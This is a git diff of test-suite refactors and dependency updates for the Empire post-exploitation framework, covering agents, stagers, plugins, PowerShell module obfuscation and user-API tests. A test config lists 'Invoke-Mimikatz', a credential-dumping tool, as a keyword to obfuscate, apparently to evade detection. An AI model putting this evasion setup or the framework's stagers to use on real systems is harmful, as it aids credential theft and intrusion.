patch_config(empire_config): + file_path = "empire/test/data/modules/test_custom_module_auto_finalize.yaml" + root_path = f"{install_path}/modules/" + path = Path(file_path) + module_service._load_module( + db, yaml.safe_load(path.read_text()), root_path, file_path + ) + + db_agent = ( + db.query(models.Agent).filter(models.Agent.session_id == agent).first() + ) + execute, err = module_service.execute_module( + db, + db_agent, + "empire_test_data_modules_test_custom_module_auto_finalize", + {"Agent": agent}, + ignore_admin_check=True, + ignore_language_version_check=True, + ) + + assert err is None + assert execute["data"].strip() == "ScriptScriptEnd" diff --git a/empire/test/test_obfuscation_api.py b/empire/test/test_obfuscation_api.py index d0bf0f4ce..d8b2e5c88 100644 --- a/empire/test/test_obfuscation_api.py +++ b/empire/test/test_obfuscation_api.py @@ -1,24 +1,9 @@ import os -from contextlib import contextmanager from pathlib import Path import pytest - -@contextmanager -def patch_config(empire_config): - """ - Change the module_source directory temporarily. - This way preobfuscate tests don't preobfuscate hundreds of modules. - """ - orig_src_dir = empire_config.directories.module_source - try: - empire_config.directories.module_source = Path( - "empire/test/data/module_source/" - ).resolve() - yield empire_config - finally: - empire_config.directories.module_source = orig_src_dir +from empire.test.conftest import patch_config def test_get_keyword_not_found(client, admin_auth_header): @@ -234,6 +219,8 @@ def test_preobfuscate_post(client, admin_auth_header, empire_config): count = 0 for root, _dirs, files in os.walk(module_dir): for file in files: + if not file.endswith(".ps1"): + continue root_rep = root.replace(str(module_dir), str(obf_module_dir)) assert (Path(root_rep) / file).exists() count += 1 diff --git a/empire/test/test_plugin_api.py b/empire/test/test_plugin_api.py index 303c5b6a0..e9bc781b4 100644 --- a/empire/test/test_plugin_api.py +++ b/empire/test/test_plugin_api.py @@ -1,6 +1,9 @@ from contextlib import contextmanager -from empire.server.core.exceptions import PluginValidationException +from empire.server.core.exceptions import ( + PluginExecutionException, + PluginValidationException, +) @contextmanager @@ -159,6 +162,23 @@ def raise_(): assert response.json() == {"detail": "This is the message"} +def test_execute_plugin_raises_plugin_execution_exception( + client, admin_auth_header, main +): + def raise_(): + raise PluginExecutionException("This is the message") + + with patch_plugin_execute(main, "basic_reporting", lambda x: raise_()): + response = client.post( + "/api/v2/plugins/basic_reporting/execute", + json={"options": {}}, + headers=admin_auth_header, + ) + + assert response.status_code == 500 + assert response.json() == {"detail": "This is the message"} + + def test_execute_plugin_returns_none(client, admin_auth_header, main): with patch_plugin_execute(main, "basic_reporting", lambda x: None): response = client.post( diff --git a/empire/test/test_plugin_service.py b/empire/test/test_plugin_service.py index 79ab65841..fb80852f7 100644 --- a/empire/test/test_plugin_service.py +++ b/empire/test/test_plugin_service.py @@ -1,5 +1,4 @@ import logging -import os import shutil from contextlib import contextmanager from unittest.mock import MagicMock @@ -29,16 +28,15 @@ def temp_copy_plugin(plugin_path): Copy the example plugin to a temporary location. Since plugin_service won't load a plugin called "example". """ - example_plugin_path = plugin_path / "example.plugin" - example_plugin_copy_path = plugin_path / "temporary.plugin" + example_plugin_path = plugin_path / "example" + example_plugin_copy_path = plugin_path / "example_2" # copy example plugin to a new location - shutil.copyfile(str(example_plugin_path), str(example_plugin_copy_path)) + shutil.copytree(str(example_plugin_path), str(example_plugin_copy_path)) yield - # remove the temporary copy - os.remove(example_plugin_copy_path) + shutil.rmtree(str(example_plugin_copy_path)) def test_autostart_plugins( diff --git a/empire/test/test_server_config.yaml b/empire/test/test_server_config.yaml index c75e927cd..faf3255fc 100644 --- a/empire/test/test_server_config.yaml +++ b/empire/test/test_server_config.yaml @@ -1,4 +1,7 @@ suppress-self-cert-warning: true +api: + port: 1337 + cert_path: empire/server/data/ database: use: mysql mysql: @@ -58,7 +61,7 @@ keyword_obfuscation: - Invoke-Mimikatz plugins: # Auto-load plugin with defined settings - temporary: + example: status: start message: hello there logging: diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index f171793fa..44fc9ca67 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -377,6 +377,13 @@ def test_delete_stager(client, admin_auth_header, base_stager): response = client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) assert response.status_code == 204 + response = client.get(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + assert response.status_code == 404 + + response = client.get("/api/v2/stagers", headers=admin_auth_header) + assert response.status_code == 200 + assert stager_id not in [stager["id"] for stager in response.json()["records"]] + def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_header): response = client.post( diff --git a/empire/test/test_tags_api.py b/empire/test/test_tags_api.py index 285b5874f..c60a41e31 100644 --- a/empire/test/test_tags_api.py +++ b/empire/test/test_tags_api.py @@ -10,7 +10,12 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): json={"name": "test:tag", "value": "test:value"}, ) assert resp.status_code == 422 - assert resp.json() == { + + actual = resp.json() + for detail in actual["detail"]: + detail.pop("url") + + assert actual == { "detail": [ { "ctx": {"pattern": "^[^:]+$"}, @@ -18,7 +23,6 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): "loc": ["body", "name"], "msg": "String should match pattern '^[^:]+$'", "type": "string_pattern_mismatch", - "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, { "ctx": {"pattern": "^[^:]+$"}, @@ -26,7 +30,6 @@ def _test_add_tag(client, admin_auth_header, path, taggable_id): "loc": ["body", "value"], "msg": "String should match pattern '^[^:]+$'", "type": "string_pattern_mismatch", - "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, ] } @@ -121,7 +124,12 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): json={"name": "test:tag", "value": "test:value"}, ) assert resp_bad.status_code == 422 - assert resp_bad.json() == { + + actual = resp_bad.json() + for detail in actual["detail"]: + detail.pop("url") + + assert actual == { "detail": [ { "ctx": {"pattern": "^[^:]+$"}, @@ -129,7 +137,6 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): "loc": ["body", "name"], "msg": "String should match pattern '^[^:]+$'", "type": "string_pattern_mismatch", - "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, { "ctx": {"pattern": "^[^:]+$"}, @@ -137,7 +144,6 @@ def _test_update_tag(client, admin_auth_header, path, taggable_id): "loc": ["body", "value"], "msg": "String should match pattern '^[^:]+$'", "type": "string_pattern_mismatch", - "url": "https://errors.pydantic.dev/2.4/v/string_pattern_mismatch", }, ] } diff --git a/empire/test/test_user_api.py b/empire/test/test_user_api.py index 35c404c59..2700b392b 100644 --- a/empire/test/test_user_api.py +++ b/empire/test/test_user_api.py @@ -1,3 +1,6 @@ +from pathlib import Path + + def test_create_user(client, admin_auth_header): response = client.post( "/api/v2/users/", @@ -159,7 +162,7 @@ def test_upload_user_avatar_not_me(client, regular_auth_token): files={ "file": ( "avatar.png", - open("./empire/test/avatar.png", "rb").read(), + Path("./empire/test/avatar.png").read_bytes(), ) }, ) @@ -178,7 +181,7 @@ def test_upload_user_avatar_not_image(client, admin_auth_header): files={ "file": ( "test-upload.yaml", - open("./empire/test/test-upload.yaml", "rb").read(), + Path("./empire/test/test-upload.yaml").read_bytes(), ) }, ) @@ -194,7 +197,7 @@ def test_upload_user_avatar(client, admin_auth_header): files={ "file": ( "avatar.png", - open("./empire/test/avatar.png", "rb").read(), + Path("./empire/test/avatar.png").read_bytes(), ) }, ) @@ -218,7 +221,7 @@ def test_upload_user_avatar(client, admin_auth_header): files={ "file": ( "avatar2.png", - open("./empire/test/avatar2.png", "rb").read(), + Path("./empire/test/avatar2.png").read_bytes(), ) }, ) diff --git a/empire/test/test_zz_reset.py b/empire/test/test_zz_reset.py index 6d7ba5fb5..f664ecf41 100644 --- a/empire/test/test_zz_reset.py +++ b/empire/test/test_zz_reset.py @@ -43,7 +43,7 @@ def test_reset_server(monkeypatch, tmp_path, default_argv, server_config_dict): 5. Deletes / Copies invoke obfuscation """ monkeypatch.setattr("builtins.input", lambda _: "y") - sys.argv = default_argv.copy() + ["--reset"] + sys.argv = [*default_argv.copy(), "--reset"] # Setup # Write to the downloads directory diff --git a/poetry.lock b/poetry.lock index a6cd43b5a..29e3beead 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand. [[package]] name = "aiofiles" @@ -102,32 +102,38 @@ visualize = ["Twisted (>=16.1.1)", "graphviz (>0.5.1)"] [[package]] name = "bcrypt" -version = "4.0.1" +version = "4.1.2" description = "Modern password hashing for your software and your servers" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "bcrypt-4.0.1-cp36-abi3-macosx_10_10_universal2.whl", hash = "sha256:b1023030aec778185a6c16cf70f359cbb6e0c289fd564a7cfa29e727a1c38f8f"}, - {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:08d2947c490093a11416df18043c27abe3921558d2c03e2076ccb28a116cb6d0"}, - {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0eaa47d4661c326bfc9d08d16debbc4edf78778e6aaba29c1bc7ce67214d4410"}, - {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ae88eca3024bb34bb3430f964beab71226e761f51b912de5133470b649d82344"}, - {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_24_x86_64.whl", hash = "sha256:a522427293d77e1c29e303fc282e2d71864579527a04ddcfda6d4f8396c6c36a"}, - {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:fbdaec13c5105f0c4e5c52614d04f0bca5f5af007910daa8b6b12095edaa67b3"}, - {file = "bcrypt-4.0.1-cp36-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:ca3204d00d3cb2dfed07f2d74a25f12fc12f73e606fcaa6975d1f7ae69cacbb2"}, - {file = "bcrypt-4.0.1-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:089098effa1bc35dc055366740a067a2fc76987e8ec75349eb9484061c54f535"}, - {file = "bcrypt-4.0.1-cp36-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:e9a51bbfe7e9802b5f3508687758b564069ba937748ad7b9e890086290d2f79e"}, - {file = "bcrypt-4.0.1-cp36-abi3-win32.whl", hash = "sha256:2caffdae059e06ac23fce178d31b4a702f2a3264c20bfb5ff541b338194d8fab"}, - {file = "bcrypt-4.0.1-cp36-abi3-win_amd64.whl", hash = "sha256:8a68f4341daf7522fe8d73874de8906f3a339048ba406be6ddc1b3ccb16fc0d9"}, - {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf4fa8b2ca74381bb5442c089350f09a3f17797829d958fad058d6e44d9eb83c"}, - {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:67a97e1c405b24f19d08890e7ae0c4f7ce1e56a712a016746c8b2d7732d65d4b"}, - {file = "bcrypt-4.0.1-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b3b85202d95dd568efcb35b53936c5e3b3600c7cdcc6115ba461df3a8e89f38d"}, - {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cbb03eec97496166b704ed663a53680ab57c5084b2fc98ef23291987b525cb7d"}, - {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:5ad4d32a28b80c5fa6671ccfb43676e8c1cc232887759d1cd7b6f56ea4355215"}, - {file = "bcrypt-4.0.1-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:b57adba8a1444faf784394de3436233728a1ecaeb6e07e8c22c8848f179b893c"}, - {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:705b2cea8a9ed3d55b4491887ceadb0106acf7c6387699fca771af56b1cdeeda"}, - {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_24_x86_64.whl", hash = "sha256:2b3ac11cf45161628f1f3733263e63194f22664bf4d0c0f3ab34099c02134665"}, - {file = "bcrypt-4.0.1-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:3100851841186c25f127731b9fa11909ab7b1df6fc4b9f8353f4f1fd952fbf71"}, - {file = "bcrypt-4.0.1.tar.gz", hash = "sha256:27d375903ac8261cfe4047f6709d16f7d18d39b1ec92aaf72af989552a650ebd"}, + {file = "bcrypt-4.1.2-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:ac621c093edb28200728a9cca214d7e838529e557027ef0581685909acd28b5e"}, + {file = "bcrypt-4.1.2-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea505c97a5c465ab8c3ba75c0805a102ce526695cd6818c6de3b1a38f6f60da1"}, + {file = "bcrypt-4.1.2-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:57fa9442758da926ed33a91644649d3e340a71e2d0a5a8de064fb621fd5a3326"}, + {file = "bcrypt-4.1.2-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:eb3bd3321517916696233b5e0c67fd7d6281f0ef48e66812db35fc963a422a1c"}, + {file = "bcrypt-4.1.2-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6cad43d8c63f34b26aef462b6f5e44fdcf9860b723d2453b5d391258c4c8e966"}, + {file = "bcrypt-4.1.2-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:44290ccc827d3a24604f2c8bcd00d0da349e336e6503656cb8192133e27335e2"}, + {file = "bcrypt-4.1.2-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:732b3920a08eacf12f93e6b04ea276c489f1c8fb49344f564cca2adb663b3e4c"}, + {file = "bcrypt-4.1.2-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1c28973decf4e0e69cee78c68e30a523be441972c826703bb93099868a8ff5b5"}, + {file = "bcrypt-4.1.2-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b8df79979c5bae07f1db22dcc49cc5bccf08a0380ca5c6f391cbb5790355c0b0"}, + {file = "bcrypt-4.1.2-cp37-abi3-win32.whl", hash = "sha256:fbe188b878313d01b7718390f31528be4010fed1faa798c5a1d0469c9c48c369"}, + {file = "bcrypt-4.1.2-cp37-abi3-win_amd64.whl", hash = "sha256:9800ae5bd5077b13725e2e3934aa3c9c37e49d3ea3d06318010aa40f54c63551"}, + {file = "bcrypt-4.1.2-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:71b8be82bc46cedd61a9f4ccb6c1a493211d031415a34adde3669ee1b0afbb63"}, + {file = "bcrypt-4.1.2-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68e3c6642077b0c8092580c819c1684161262b2e30c4f45deb000c38947bf483"}, + {file = "bcrypt-4.1.2-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:387e7e1af9a4dd636b9505a465032f2f5cb8e61ba1120e79a0e1cd0b512f3dfc"}, + {file = "bcrypt-4.1.2-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f70d9c61f9c4ca7d57f3bfe88a5ccf62546ffbadf3681bb1e268d9d2e41c91a7"}, + {file = "bcrypt-4.1.2-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2a298db2a8ab20056120b45e86c00a0a5eb50ec4075b6142db35f593b97cb3fb"}, + {file = "bcrypt-4.1.2-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:ba55e40de38a24e2d78d34c2d36d6e864f93e0d79d0b6ce915e4335aa81d01b1"}, + {file = "bcrypt-4.1.2-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:3566a88234e8de2ccae31968127b0ecccbb4cddb629da744165db72b58d88ca4"}, + {file = "bcrypt-4.1.2-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:b90e216dc36864ae7132cb151ffe95155a37a14e0de3a8f64b49655dd959ff9c"}, + {file = "bcrypt-4.1.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:69057b9fc5093ea1ab00dd24ede891f3e5e65bee040395fb1e66ee196f9c9b4a"}, + {file = "bcrypt-4.1.2-cp39-abi3-win32.whl", hash = "sha256:02d9ef8915f72dd6daaef40e0baeef8a017ce624369f09754baf32bb32dba25f"}, + {file = "bcrypt-4.1.2-cp39-abi3-win_amd64.whl", hash = "sha256:be3ab1071662f6065899fe08428e45c16aa36e28bc42921c4901a191fda6ee42"}, + {file = "bcrypt-4.1.2-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d75fc8cd0ba23f97bae88a6ec04e9e5351ff3c6ad06f38fe32ba50cbd0d11946"}, + {file = "bcrypt-4.1.2-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:a97e07e83e3262599434816f631cc4c7ca2aa8e9c072c1b1a7fec2ae809a1d2d"}, + {file = "bcrypt-4.1.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:e51c42750b7585cee7892c2614be0d14107fad9581d1738d954a262556dd1aab"}, + {file = "bcrypt-4.1.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:ba4e4cc26610581a6329b3937e02d319f5ad4b85b074846bf4fef8a8cf51e7bb"}, + {file = "bcrypt-4.1.2.tar.gz", hash = "sha256:33313a1200a3ae90b75587ceac502b048b840fc69e7f7a0905b5f87fac7a1258"}, ] [package.extras] @@ -152,29 +158,33 @@ test = ["hypothesis", "pytest", "pytest-benchmark[histogram]", "pytest-cov", "py [[package]] name = "black" -version = "23.10.1" +version = "23.12.0" description = "The uncompromising code formatter." optional = false python-versions = ">=3.8" files = [ - {file = "black-23.10.1-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:ec3f8e6234c4e46ff9e16d9ae96f4ef69fa328bb4ad08198c8cee45bb1f08c69"}, - {file = "black-23.10.1-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:1b917a2aa020ca600483a7b340c165970b26e9029067f019e3755b56e8dd5916"}, - {file = "black-23.10.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c74de4c77b849e6359c6f01987e94873c707098322b91490d24296f66d067dc"}, - {file = "black-23.10.1-cp310-cp310-win_amd64.whl", hash = "sha256:7b4d10b0f016616a0d93d24a448100adf1699712fb7a4efd0e2c32bbb219b173"}, - {file = "black-23.10.1-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:b15b75fc53a2fbcac8a87d3e20f69874d161beef13954747e053bca7a1ce53a0"}, - {file = "black-23.10.1-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:e293e4c2f4a992b980032bbd62df07c1bcff82d6964d6c9496f2cd726e246ace"}, - {file = "black-23.10.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d56124b7a61d092cb52cce34182a5280e160e6aff3137172a68c2c2c4b76bcb"}, - {file = "black-23.10.1-cp311-cp311-win_amd64.whl", hash = "sha256:3f157a8945a7b2d424da3335f7ace89c14a3b0625e6593d21139c2d8214d55ce"}, - {file = "black-23.10.1-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:cfcce6f0a384d0da692119f2d72d79ed07c7159879d0bb1bb32d2e443382bf3a"}, - {file = "black-23.10.1-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:33d40f5b06be80c1bbce17b173cda17994fbad096ce60eb22054da021bf933d1"}, - {file = "black-23.10.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:840015166dbdfbc47992871325799fd2dc0dcf9395e401ada6d88fe11498abad"}, - {file = "black-23.10.1-cp38-cp38-win_amd64.whl", hash = "sha256:037e9b4664cafda5f025a1728c50a9e9aedb99a759c89f760bd83730e76ba884"}, - {file = "black-23.10.1-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:7cb5936e686e782fddb1c73f8aa6f459e1ad38a6a7b0e54b403f1f05a1507ee9"}, - {file = "black-23.10.1-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:7670242e90dc129c539e9ca17665e39a146a761e681805c54fbd86015c7c84f7"}, - {file = "black-23.10.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5ed45ac9a613fb52dad3b61c8dea2ec9510bf3108d4db88422bacc7d1ba1243d"}, - {file = "black-23.10.1-cp39-cp39-win_amd64.whl", hash = "sha256:6d23d7822140e3fef190734216cefb262521789367fbdc0b3f22af6744058982"}, - {file = "black-23.10.1-py3-none-any.whl", hash = "sha256:d431e6739f727bb2e0495df64a6c7a5310758e87505f5f8cde9ff6c0f2d7e4fe"}, - {file = "black-23.10.1.tar.gz", hash = "sha256:1f8ce316753428ff68749c65a5f7844631aa18c8679dfd3ca9dc1a289979c258"}, + {file = "black-23.12.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:67f19562d367468ab59bd6c36a72b2c84bc2f16b59788690e02bbcb140a77175"}, + {file = "black-23.12.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bbd75d9f28a7283b7426160ca21c5bd640ca7cd8ef6630b4754b6df9e2da8462"}, + {file = "black-23.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:593596f699ca2dcbbbdfa59fcda7d8ad6604370c10228223cd6cf6ce1ce7ed7e"}, + {file = "black-23.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:12d5f10cce8dc27202e9a252acd1c9a426c83f95496c959406c96b785a92bb7d"}, + {file = "black-23.12.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:e73c5e3d37e5a3513d16b33305713237a234396ae56769b839d7c40759b8a41c"}, + {file = "black-23.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ba09cae1657c4f8a8c9ff6cfd4a6baaf915bb4ef7d03acffe6a2f6585fa1bd01"}, + {file = "black-23.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ace64c1a349c162d6da3cef91e3b0e78c4fc596ffde9413efa0525456148873d"}, + {file = "black-23.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:72db37a2266b16d256b3ea88b9affcdd5c41a74db551ec3dd4609a59c17d25bf"}, + {file = "black-23.12.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:fdf6f23c83078a6c8da2442f4d4eeb19c28ac2a6416da7671b72f0295c4a697b"}, + {file = "black-23.12.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:39dda060b9b395a6b7bf9c5db28ac87b3c3f48d4fdff470fa8a94ab8271da47e"}, + {file = "black-23.12.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7231670266ca5191a76cb838185d9be59cfa4f5dd401b7c1c70b993c58f6b1b5"}, + {file = "black-23.12.0-cp312-cp312-win_amd64.whl", hash = "sha256:193946e634e80bfb3aec41830f5d7431f8dd5b20d11d89be14b84a97c6b8bc75"}, + {file = "black-23.12.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bcf91b01ddd91a2fed9a8006d7baa94ccefe7e518556470cf40213bd3d44bbbc"}, + {file = "black-23.12.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:996650a89fe5892714ea4ea87bc45e41a59a1e01675c42c433a35b490e5aa3f0"}, + {file = "black-23.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdbff34c487239a63d86db0c9385b27cdd68b1bfa4e706aa74bb94a435403672"}, + {file = "black-23.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:97af22278043a6a1272daca10a6f4d36c04dfa77e61cbaaf4482e08f3640e9f0"}, + {file = "black-23.12.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ead25c273adfad1095a8ad32afdb8304933efba56e3c1d31b0fee4143a1e424a"}, + {file = "black-23.12.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c71048345bdbced456cddf1622832276d98a710196b842407840ae8055ade6ee"}, + {file = "black-23.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:81a832b6e00eef2c13b3239d514ea3b7d5cc3eaa03d0474eedcbbda59441ba5d"}, + {file = "black-23.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:6a82a711d13e61840fb11a6dfecc7287f2424f1ca34765e70c909a35ffa7fb95"}, + {file = "black-23.12.0-py3-none-any.whl", hash = "sha256:a7c07db8200b5315dc07e331dda4d889a56f6bf4db6a9c2a526fa3166a81614f"}, + {file = "black-23.12.0.tar.gz", hash = "sha256:330a327b422aca0634ecd115985c1c7fd7bdb5b5a2ef8aa9888a82e2ebe9437a"}, ] [package.dependencies] @@ -188,7 +198,7 @@ typing-extensions = {version = ">=4.0.1", markers = "python_version < \"3.11\""} [package.extras] colorama = ["colorama (>=0.4.3)"] -d = ["aiohttp (>=3.7.4)"] +d = ["aiohttp (>=3.7.4)", "aiohttp (>=3.7.4,!=3.9.0)"] jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] uvloop = ["uvloop (>=0.15.2)"] @@ -336,13 +346,13 @@ cffi = ">=1.0.0" [[package]] name = "certifi" -version = "2023.7.22" +version = "2023.11.17" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2023.7.22-py3-none-any.whl", hash = "sha256:92d6037539857d8206b8f6ae472e8b77db8058fec5937a1ef3f54304089edbb9"}, - {file = "certifi-2023.7.22.tar.gz", hash = "sha256:539cc1d13202e33ca466e88b2807e29f4c13049d6d87031a3c110744495cb082"}, + {file = "certifi-2023.11.17-py3-none-any.whl", hash = "sha256:e036ab49d5b79556f99cfc2d9320b34cfbe5be05c5871b51de9329f0603b0474"}, + {file = "certifi-2023.11.17.tar.gz", hash = "sha256:9b469f3a900bf28dc19b8cfbf8019bf47f7fdd1a65a1d4ffb98fc14166beb4d1"}, ] [[package]] @@ -546,63 +556,63 @@ files = [ [[package]] name = "coverage" -version = "7.3.2" +version = "7.3.4" description = "Code coverage measurement for Python" optional = false python-versions = ">=3.8" files = [ - {file = "coverage-7.3.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d872145f3a3231a5f20fd48500274d7df222e291d90baa2026cc5152b7ce86bf"}, - {file = "coverage-7.3.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:310b3bb9c91ea66d59c53fa4989f57d2436e08f18fb2f421a1b0b6b8cc7fffda"}, - {file = "coverage-7.3.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f47d39359e2c3779c5331fc740cf4bce6d9d680a7b4b4ead97056a0ae07cb49a"}, - {file = "coverage-7.3.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa72dbaf2c2068404b9870d93436e6d23addd8bbe9295f49cbca83f6e278179c"}, - {file = "coverage-7.3.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:beaa5c1b4777f03fc63dfd2a6bd820f73f036bfb10e925fce067b00a340d0f3f"}, - {file = "coverage-7.3.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:dbc1b46b92186cc8074fee9d9fbb97a9dd06c6cbbef391c2f59d80eabdf0faa6"}, - {file = "coverage-7.3.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:315a989e861031334d7bee1f9113c8770472db2ac484e5b8c3173428360a9148"}, - {file = "coverage-7.3.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d1bc430677773397f64a5c88cb522ea43175ff16f8bfcc89d467d974cb2274f9"}, - {file = "coverage-7.3.2-cp310-cp310-win32.whl", hash = "sha256:a889ae02f43aa45032afe364c8ae84ad3c54828c2faa44f3bfcafecb5c96b02f"}, - {file = "coverage-7.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:c0ba320de3fb8c6ec16e0be17ee1d3d69adcda99406c43c0409cb5c41788a611"}, - {file = "coverage-7.3.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ac8c802fa29843a72d32ec56d0ca792ad15a302b28ca6203389afe21f8fa062c"}, - {file = "coverage-7.3.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:89a937174104339e3a3ffcf9f446c00e3a806c28b1841c63edb2b369310fd074"}, - {file = "coverage-7.3.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e267e9e2b574a176ddb983399dec325a80dbe161f1a32715c780b5d14b5f583a"}, - {file = "coverage-7.3.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2443cbda35df0d35dcfb9bf8f3c02c57c1d6111169e3c85fc1fcc05e0c9f39a3"}, - {file = "coverage-7.3.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4175e10cc8dda0265653e8714b3174430b07c1dca8957f4966cbd6c2b1b8065a"}, - {file = 